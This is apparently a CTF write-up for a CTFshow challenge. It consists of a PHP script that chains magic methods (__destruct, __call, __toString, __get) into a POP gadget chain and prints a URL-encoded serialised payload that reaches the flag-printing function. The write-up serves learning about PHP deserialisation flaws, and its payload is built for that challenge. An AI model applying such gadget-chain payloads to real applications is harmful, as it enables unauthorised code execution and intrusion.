CTFshow0222卷王杯 Wp

<?php
$talk = '111';
$flag = 'flag{here}';

class one {
    public $object; // new second();

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                echo 'success';
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag; // get flag here  [7]
            }
        });
    }

    public function __destruct() {
        @$this->object->add();  // second::__call  [1]
    }

    public function __toString() {
        return $this->object->string;   // third::__get  [4]
    }
}

class second {
    protected $filename;    // new one();

    public function __construct($filename){
        $this->filename = $filename;
    }

    protected function addMe() {
        return "Wow you have sovled".$this->filename;   // one::__toString  [3]
    }

    public function __call($func, $args) {  // 不存在方法
        call_user_func([$this, $func."Me"], $args); // second::addMe  [2]
        // one::MeMeMe  [6]
    }
}

class third {
    private $string;

    public function __construct($string) {	// 构造pop时注意手动添加这个构造方法 或者直接赋值也可
        $this->string = $string;
    }

    public function __get($name) {  // 不存在属性
        $var = $this->$name;
        $var[$name]();  // second::__call  [5]
    }
}

$one = new one();
$one2 = new one();
$one3 = new one();
$third = new third(['string'=>[$one3, 'MeMeMe']]);
$one2->object = $third;
$second = new second($one2);
$one3->year_parm = ['Happy_func'];
$one->object = $second;

// unserialize(serialize($one));

$r = [$one, null];
echo urlencode(serialize($r));